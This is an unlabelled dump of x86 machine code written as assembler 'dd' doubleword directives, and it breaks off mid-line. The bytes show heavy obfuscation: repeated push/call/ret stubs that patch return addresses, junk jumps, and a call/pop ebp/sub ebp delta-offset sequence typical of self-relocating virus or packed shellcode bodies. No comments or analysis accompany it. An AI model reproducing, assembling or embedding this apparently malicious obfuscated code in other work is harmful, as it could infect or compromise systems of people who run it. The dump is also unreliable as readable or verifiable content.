8501DB8Ch, 5E91949h, 0F04C3F6h dd 6984h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0CE8D6692h, 8B659A4Eh, 5E8D2h, 71B90000h dd 662CAB24h, 0FF5EF08Bh, 0E90BED95h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0E83DA94Ah, 7FC2BE90h, 66506A7Eh, 9038C6BFh, 0AC98D89h dd 82E905E9h, 8B000004h, 0E92D15BDh, 6A00B005h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 45BBC351h, 1F3FABB5h, 0C2218C9Fh, 0E6F78B66h, 0F1B70F70h dd 8D8971E4h, 5E9233Dh, 0FD8B60Fh, 6BAF3B7h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0F198C352h, 29DA1DA7h, 9B5011Ch, 2305E908h dd 0E9283DBDh, 6AC38B05h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0E8D3C352h, 0Dh, 4E08C30h dd 0A17BAC25h, 5E748FA1h, 11BD8B6Ah, 5E05E91Fh, 2549BD8Bh dd 0E8C105E9h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0A0759392h, 8E9C1AFh dd 7E000000h, 4537861Bh, 66BC8AC9h, 6AE2F7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 9D0117C3h dd 5E901F1h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 2C9A4FC3h, 7D7B68B7h, 0DA8B6093h dd 14E8h, 0CB86D700h, 2C9C3E22h, 93DA7FD1h, 0BFFF05FDh dd 0E17FFE51h, 596160E6h, 8F0F5061h, 3, 93F08B66h, 0BCD8D89h dd 0B5FF05E9h, 5E9243Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0ABC35040h, 0FF39639Bh, 0E91E9595h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 1916396Eh, 0ED4C0499h, 251BD8Bh, 0B005E9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 3C35747h, 6E364D1h dd 0A422A919h, 3157CE81h, 12E94194h, 69000000h, 7F057DC5h dd 304B7BEEh, 0DC748509h, 0B156B805h, 6A70E62Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0F006C350h, 7207F37h, 60C35280h, 6AD3ACB8h, 71E46128h dd 0AD46BE66h, 3CFA8B66h, 4E830F61h, 8B000002h, 0E93109BDh dd 0D8B60F05h, 259DB509h, 0B53105E9h, 5E92D3Dh, 6BAh, 25B58900h dd 8B05E903h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 34C1F835h, 0FBD1B081h, 45B58BDAh dd 0C105E927h, 0E96004E8h, 10h, 0A905AFE4h, 0ABA39E46h dd 332E2DFDh, 3B745AAFh, 2BFD858Bh, 666105E9h, 0D781E2F7h dd 6C6B842Ch, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 79EDA4C3h, 9B23846Ch, 0C25BD0Bh dd 6A5805E9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 626FC355h, 1BFD2161h, 17A79B1Fh dd 880FD82Bh, 181h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 75C35646h, 0A033B972h, 4235C4FDh, 7B9ACh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 59310CC3h, 0D0B4410Bh, 0C183F966h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 3D07F3D1h, 0A9A7CDA6h, 85336050h, 5E92C05h, 0D93B61F8h dd 0FB860Fh, 8C660000h, 50006AD9h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0F6F5B745h, 840F04C1h dd 0A9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0D5C35747h, 7F1994DCh, 95FF3852h, 5E90BEDh, 51006A5Bh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 1EA6AC3Ah, 11E9604Dh, 83000000h, 81DBC9D4h, 903FE0Dh dd 0D2A678E6h, 378EDC67h, 3DC32B61h, 834h, 3B860Fh, 85310000h dd 5E9070Dh, 58E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0B5011DEFh, 5E90B29h dd 7E8h, 7E1A0600h, 0B623F13Ch, 6AC08B5Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0A18BC357h dd 33EF1AD1h, 0E9090DB5h, 8BC38B05h, 57006AD8h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 39180C72h dd 0AA6988h, 0EE98Ch, 67060000h, 0A26EEF0h, 0C0446454h dd 621A92D0h, 1E1985C7h, 0B77305E9h, 6A1FEFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4653BCC3h dd 0B9B82E10h, 59BD8B99h, 8B05E92Bh, 0F4C781C0h, 605BAEB7h dd 2E6D8589h, 0BB6605E9h, 81611DABh, 0E9243DBDh, 7D005h dd 23850F00h, 0E9000000h, 13h, 1786FB1Dh, 4A8BFD11h, 2118A43Fh dd 0DA220FD6h, 0FF53D1D8h, 0E9243D85h, 8B665105h, 0B5FF5FFAh dd 5E9243Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 8AC35747h, 0ADB529A6h, 0FF05E924h, 0E91E9595h dd 0F6B70F05h, 51006A90h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0B7102540h, 32B5BD29h dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 891D64C3h, 0E2E4E5Ah, 57006A23h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8BE8D016h dd 0E907BDB5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 14102CCDh, 0FA269E53h dd 0CE81FA8h, 5000000h, 94BBA261h, 0AC68C6Eh, 66383AF4h dd 15FF28Bh, 0E9276D95h, 0BE666005h, 870F3AE5h, 0Ch, 2D05BD89h dd 858905E9h, 5E91679h, 91952961h, 6605E917h, 6AF38Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 912FC7C3h, 8BF88B66h, 0E9007DB5h, 0F7816605h, 8166CDCEh dd 0E9CA6DDEh, 10h, 4BC1196Eh, 1CE195B6h, 1FA9CC2Eh, 18E1F959h dd 0FFF7DEE9h, 759509FFh, 6005E918h, 5DAFE6BEh, 0FFFEB94Dh dd 0D681FFFFh, 2F73D66Ch, 1E58D21h, 6A05E9h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 7EA89C3h dd 0E43F8A8Ah, 0E328BE73h, 8D210907h, 5E91079h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 72C35646h, 4D0A2F4h dd 0A996795h, 13E8h, 88687E00h, 0BB9BA3CEh, 665A310Fh dd 1170B245h, 998D13E0h, 5AF08B66h, 5800F56h, 0B8000000h dd 77A50B5Ch, 0E58D8B5Fh, 6A05E901h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0FEF5C355h dd 603E133Bh, 8160CB8Ah, 6F8C98D6h, 83616173h, 850F01E1h dd 1Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 62C35040h, 8D8B885Eh, 5E91079h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 46C35343h, 0E168DD23h dd 258D8501h, 0E18305E9h, 43850F01h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0EAE8C357h, 385A2BF0h, 11E9h, 15933200h, 33C0DD0Bh dd 2AD40E99h, 8719CC7Eh, 840FF5A1h, 6, 578EE281h, 6061476Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 9EC35141h dd 0E361D49Bh, 858B1D6Dh, 5E932A9h, 0FFFFFEB9h, 0E38166FFh dd 8D216F8Bh, 5E926BDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0E5C35646h, 4EB018ADh, 0AE853A4h, 86000000h dd 0F09BAE9h, 96BE6F1Fh, 658D8956h, 5805E906h, 0F4BE665Fh dd 918D211Dh, 6A05E907h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 630FC357h, 0BF0F380Dh dd 0BD8D8BF2h, 8905E926h, 0E92AA98Dh, 94E68105h, 8318089Ch dd 850F01E1h, 2Eh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 28C35141h, 80D739E1h, 9D8BB082h, 5E90BA1h dd 59D0E381h, 8D8B41F1h, 5E90791h, 0AE9h, 0E735800h, 0D90B318Eh dd 838F9C8Fh, 850F01E1h, 23h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 49C35747h, 65E858B4h, 61DFBF0Fh dd 0F1F08060h, 2A11B589h, 0FEB905E9h, 6AFFFFFFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 129BC355h, 418D2174h, 8105E90Eh, 632EFCE2h, 898D2148h dd 6A05E900h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 1376C357h, 8D8BF9CBh, 5E90E41h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2DC35747h dd 6C9E99E3h, 0F01E183h, 385h, 0D38B6600h, 898D8Bh, 6A05E9h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0CA7127C3h, 0E183C3EBh, 25850F01h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0BEFBC352h, 2830Fh, 0C38B0000h, 6A6061h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0CCE004C3h dd 0C53ADBh, 0E990B951h, 8, 0B958DBBAh, 92025079h, 0FFFFFEB9h dd 21C28AFFh, 0E91EA18Dh, 99BD8905h, 2105E92Fh, 0E91E198Dh dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 7CEEE6D7h, 958921A8h, 5E91D61h, 8BF7BF0Fh dd 0E91EA18Dh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 8E52ADA7h, 3363B50Dh dd 227BB866h, 81F3B70Fh, 3CBF13DFh, 1E18352h, 25850Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 314ABDC3h, 0F3F8570Fh, 8B23AEFCh, 0E91E198Dh dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 1E1837Fh, 1D850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 618874C3h dd 55006A60h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 447A338Bh, 2B13990Eh, 0E910659Dh, 3D85C705h dd 0D005E924h, 6A000007h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 7877C351h, 0E81D00A1h dd 0Fh, 4668FC15h, 8C7017AFh, 94BF1CA0h, 29B5A9B2h, 0E90E05B5h dd 6A615E05h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0BA88C352h, 0A683E6A2h, 8595093Bh dd 8B05E905h, 0E9313D85h, 6107EB05h, 0E99Dh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 5D73BDC3h, 7F9F4827h, 0B4606498h, 0B58B604Ch, 5E91D75h dd 2A798589h, 616105E9h, 90D8D29h, 6A05E9h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 340AFC3h dd 89F61DABh, 0E932158Dh, 0E9C18B05h, 75h, 0D88C6660h dd 840F04A8h, 35h, 0B5FF016Ah, 5E92345h, 7A6F858Dh, 0D0FF05ECh dd 0E358589h, 0FE8B05E9h, 680CEFC1h, 20040000h, 26A006Ah dd 0D6857h, 95FF0001h, 5E90E35h, 32E9h, 0E585C600h, 5605E90Eh dd 0C530DF68h, 0FDB5FFA9h, 8D05E91Eh, 0EC7A6F85h, 89D0FF05h dd 0E9314585h, 0D858D05h, 5005E91Eh, 56A206Ah, 4595FF56h dd 6105E931h, 6E0C1C3h, 0AE8h, 0D2296800h, 0AC2D3B60h dd 0F88A3DC3h, 0D9816658h, 0C0816358h, 6846h, 0B966F860h dd 33618370h, 183C8BDBh, 0EE9h, 388CE800h, 73AC3D85h, 5DBA25A2h dd 814C30E8h, 0E6F9FDF7h, 0FE84Ah, 1A070000h, 79FA0C5h dd 0F945A729h, 0B601E485h, 5938B1B3h, 0F3E3F781h, 8B666E2Bh dd 0A9EF81F7h, 6643E0ABh, 9B6AC281h, 9E957h, 553D0000h dd 0DAB13CBEh, 8FAC4C15h, 8D0F1804h, 0Bh, 5890Fh, 81660000h dd 66ACB6E2h, 4270CE81h, 18D6EB81h, 0BF0F6233h, 0D2C381D2h dd 0BE623318h, 23E4ED04h, 9894FB81h, 850FFFFFh, 20h, 0F1BE6660h dd 0D08B6652h, 21E961h, 4D7E0000h, 0C208153Eh, 80BA764Fh dd 4DCD444Fh, 0BD91B50Bh, 0FF4BE9F5h, 5C3FFFFh, 4EBBAC65h dd 6034B9BDh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0EAC35040h, 0E9E6A3EBh, 0Fh, 2F0D38C4h, 2F8B40E7h dd 30071095h, 8B11CF75h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0AEE44C6Dh, 6840F7Bh dd 31000000h, 0E916518Dh, 4DBD8305h, 5E916h, 0BD830975h dd 5E91121h, 50197400h, 0B8C08B53h, 438h, 23B98589h, 9D8D05E9h dd 5EBB8C4h, 585BD3FFh, 1121BD83h, 740005E9h, 0B8535017h dd 438h, 23B98589h, 9D8D05E9h, 5EBB5B3h, 585BD3FFh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 72C35141h, 3DE4BE3Fh dd 8D8B55A0h, 5E90575h, 0DF8B5760h, 51B58B58h, 6105E924h dd 0BD89C08Bh, 5E905DDh, 86EE8h, 8B666000h, 858961F1h dd 5E9326Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 19C35040h, 0ACB4BD2Bh, 4A8ED918h, 83AE8h, 89F28B00h dd 0E9182D85h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 8D3374D2h, 8D8964B9h dd 5E91DFDh, 806E8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 1B464C47h, 0C9940CCEh dd 13E9B99Bh, 4C000000h, 0BA17698Fh, 2C1F16B7h, 0AC22A18Ah dd 5287B46Eh, 85898D90h, 5E931D5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 49C35343h, 982B1E5Ch, 0A9DB589h dd 10B105E9h, 796E8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h dd 0C3554500h, 4CFD58CFh, 7D858994h, 6A05E925h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 3255C357h, 183D1932h, 0CACCC160h, 0EE9h, 0DB4D9D00h dd 873A0D05h, 0C0D31788h, 0E836C789h, 733h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0FFC35747h, 0F1FBA6C3h dd 0B0AF920h, 0E9034DB5h, 55858905h, 6A05E92Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0BDCDC353h, 0E84CEEF6h, 6DFh, 171D8501h, 0B53305E9h dd 5E91081h, 28398589h, 8A0F05E9h, 6, 8D0Fh, 0BCE80000h dd 6A000006h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0CEB6C352h, 0B834B2C1h, 0B1CCEC4Fh dd 9985896Fh, 6005E903h, 32D580BEh, 84E8610Bh, 0E8000006h dd 0Ah, 0CFBC3BA1h, 0C14A6DFEh, 810FB116h, 0Ah, 5E9h, 8D163500h dd 895F83FEh, 0E910E985h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0FA68F091h dd 0D58D8B9Ah, 8905E92Dh, 0E921DD8Dh, 62DE805h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 481C3BC3h, 82257AFAh, 0FCB26FA3h, 1DC9B52Bh, 858905E9h dd 5E903F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 77C35040h, 11740817h, 51BD893Ch, 0E805E90Eh, 5CFh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0D9C35747h dd 0CFB70F0Fh, 558589h, 0B70F05E9h, 5A1E8FBh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 7CCBE8C3h, 23558589h, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 5CE83EC3h, 6A000005h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 21FFC355h, 2E0C2833h, 0D710B966h, 15DD8589h dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 762F56C3h, 0CE9A55Ah, 1E000000h, 154EE36Ch dd 0D839C818h, 0E8D6AB66h, 4FBh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 15C35646h, 0F2B70F25h, 30ED8589h dd 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 9B6AC3h, 0AE8h, 4B4F6D00h, 0A6DBE94h, 8BBFAC29h dd 0E92AC98Dh, 9CE85F05h, 0BE000004h, 4028B60h, 0DEDB58Bh dd 858905E9h, 5E91EE9h, 486E8h, 0A5B52900h, 8905E932h dd 0E904BD85h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 64F0DDFBh, 0F5F2BC10h dd 452E8h, 5858900h, 0E905E92Ch, 0Dh, 8D923594h, 91851442h dd 0F8E9E4EDh, 1D858985h, 2905E932h, 0E930C9BDh, 8900B005h dd 0E9268995h, 0D8B60F05h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 23C35040h, 0E1B55B0Ch, 0C22FE23Ch, 12E83Ch dd 5E2D0000h, 2E2EAEA1h, 0C085DDAEh, 95EA474Bh, 0A6F5162Dh dd 0FE8B5EF8h, 6BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0D4F58C13h, 0BE662E2Bh dd 0C38BD586h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0FEC35747h, 6709C2CAh, 0C233F35Dh, 14E8h, 0DC2B7200h dd 4E4D8E92h, 0AB618C5Fh, 52D72Bh, 0D786BBA4h, 810F5347h dd 0 dd 0E8C15959h, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 616B3E2Bh, 0E9DF8948h dd 7, 34179374h, 66A0900Fh, 6AE2F7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0A6DC7FC3h dd 2BA1198Eh, 459D89D8h, 9305E910h, 93CE8B50h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 88C35343h, 0FF2F1A91h dd 0E90BED95h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 81C05747h, 442570E9h dd 81666063h, 66E424C6h, 7221F281h, 0F1BD0361h, 5B05E908h dd 8FDB58Bh, 958D05E9h, 5E90B05h, 6A1A89h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 906766C3h dd 0D6D68688h, 0BF66FFE6h, 4289E59Fh, 57006A04h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0BE0A3076h, 2DAD958Dh, 0EE805E9h, 76000000h, 7895474Ch dd 484CF16Fh, 0EEE2F58Ah, 5992B580h, 8195E781h, 1A895C75h dd 8B660FB5h, 44289FEh, 2D681F9h, 8D46E823h, 0E910D595h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 0CAFA384Bh, 518E6E26h, 6A1A89h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0EE15CCC3h, 44289FCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0E2C35343h, 18447C2Ah, 8907D4C1h, 0E92F219Dh dd 29958D05h, 8905E928h, 53006A1Ah, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 49C5BD02h, 0E0932F39h dd 6A58D33h, 0CF8105E9h, 3580E372h, 1044289h, 0E92B918Dh dd 9D958D05h, 8105E932h, 0DA62ABD6h, 291A8910h, 0E92FDD85h dd 4428905h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 31C35040h, 7E828h, 318B0000h, 3FA4349Eh, 98D899Eh dd 5905E931h, 0D89958Dh, 0E6B505E9h, 6A1A89h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0AB9DA7C3h dd 0F18D8BE7h, 8905E924h, 9D890442h, 5E9109Dh, 2B41958Dh dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 2EBC8CC3h, 0CF803AACh, 8CBE7B72h, 89079785h dd 53006A1Ah, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 1FF5F955h, 15E92B35h, 0FABF0F99h, 9E9h dd 15D8DE00h, 31321AC2h, 4289C987h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 5DA7B1F3h dd 0C36FDAB3h, 0B41958Dh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0A4E64DC3h, 68A0Fh, 8D890000h dd 5E91045h, 6E91A89h, 50000000h, 5E9A11AAh, 44289B0h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 1AC35545h dd 0AEE9h, 79BD8B00h, 6A05E91Dh, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0BD8E428Fh dd 85891C79h, 5E90B89h, 0B589006Ah, 5E902B1h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 6A61D5C3h, 8D895300h, 5E90BA9h, 24BF6659h, 0B995FF90h dd 6A05E921h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 5FFEC353h, 0FA8BB3BCh, 1DD8D0Bh dd 9E905E9h, 10000000h, 2281360Ch, 0A329DCCh, 8D8951C3h dd 5E90E89h, 0DB58B59h, 8A05E90Fh, 51006AC5h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 68C0FADh, 31000000h dd 0E910B995h, 6AC08B05h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 5673C351h, 83142ACAh dd 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h, 8B535019h dd 438B8C0h, 85890000h, 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh dd 0BD83585Bh, 5E91121h, 50177400h, 438B853h, 85890000h dd 5E905ADh, 0B5CC9D8Dh, 0D3FF05EBh, 6A585Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 804861C3h dd 6ABBC5h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 41811C3h, 8D89E91Dh, 5E92B71h, 858DC08Bh dd 5E921E5h, 1CED9D8Bh, 0E89005E9h, 6, 0BD605DAh, 0E851B524h dd 10h, 0C428DB2Ah, 3B4E1176h, 0D6E2CD43h, 0E0A2640Ah dd 505B5B5Fh, 61606053h, 6A905F61h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 8173C351h dd 349CE675h, 8CF211F2h, 9D8B006Ah, 5E925BDh, 9589006Ah dd 5E91095h, 39A4858Dh, 6A05EDh, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 7C38ADC3h, 0F92849F2h dd 6A05C083h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0C772C355h, 210AA99h, 0BD8B8BD2h dd 5E905C9h, 50FE8B66h, 489DA8Ah, 6A006A24h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0C042C352h, 2CE9BD09h, 6A05E9h, 0C18D8957h, 5B05E932h dd 0AA195FFh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 8D8D41C3h, 5ECADBFh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DAC35242h, 0ABE8EEh dd 2921B531h, 0BD8B05E9h, 5E92AF5h, 6AD1FFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0C60E9BC3h dd 0E8657914h, 0B70F15E8h, 1BD8BFEh, 8305E902h, 0E901BDBDh dd 850F0105h, 71h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0EEC35646h, 6A026Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0D6D084C3h dd 5015B728h, 489DE8Bh, 0AD95FF24h, 6A05E900h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 24C356h, 8B3BF746h, 0E90731BDh, 0E9AE905h, 0E80000h dd 5D000000h, 39AEED81h, 6A05EDh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 9DFD3C3h, 24598589h dd 8D8905E9h, 5E92AA5h, 27C1BD8Bh, 858D05E9h, 5EC904Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0EC35040h dd 0E799BA59h, 0EE9h, 0E9642700h, 0DD625378h, 56538C51h dd 53760F6Ah, 14E9h, 0D0D9A200h, 0F18DDB95h, 6B867782h dd 26214889h, 900B02CBh, 8A0F5B2Ch, 4, 0DCBEBB66h, 12E950h dd 0A9CF0000h, 504390C8h, 0D368DFECh, 9AAC8EA3h, 0FF270AABh dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 9B9DC351h, 19B1BD23h, 0FF6405E9h dd 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 6CF84A6Ah, 0F687EDBBh, 25896419h dd 0 dd 9BBA6660h, 5DB58BF7h, 6105E919h, 68985FFh, 6A05E9h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 14E9B8C3h, 0C4000000h, 5556B42Fh, 7D8BDE19h, 5F9F683Bh dd 55DA7197h, 0F665275h, 0FF6AF9BFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 43C35545h, 73FB18AEh, 8F1D3AC3h dd 23D19589h, 0B5FF05E9h, 5E9326Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0DBC35646h, 0FFD0B7E5h, 0E907C995h dd 11DE905h, 85890000h, 5E91825h, 0B0DE8B66h, 0FE800h dd 0E72C0000h, 0B8A8BDB7h, 243FAE3h, 0BB6E1DD3h, 0E3816650h dd 0E65B4857h, 0B8C0F70h, 0F000000h, 589h, 57A1BB00h, 5E91725h dd 2000000h, 0E7BC342h, 8F0F71E4h, 0 dd 830F613Ch, 0CBh, 0BE8h, 0E9AA5800h, 7062AC76h, 0F57C71E1h dd 0B60F5BFCh, 0BADF8BC8h, 6, 0F5D9D8Bh, 0C18B05E9h, 0E8C198B7h dd 66DF8B04h, 9589E2F7h, 5E904B9h, 9D8BC82Bh, 5E928D9h dd 0FFB3D18Bh, 0E9h, 5858B00h, 8B05E90Bh, 0E90C8DBDh, 7C08305h dd 6600C083h, 3B338BBFh, 17830FD0h, 8B000000h, 0E931519Dh dd 5DE905h, 0BD310000h, 5E9283Dh, 325DBD0Bh, 8D8B05E9h dd 5E90791h, 5DD9D8Bh, 0E18305E9h, 3C840F01h, 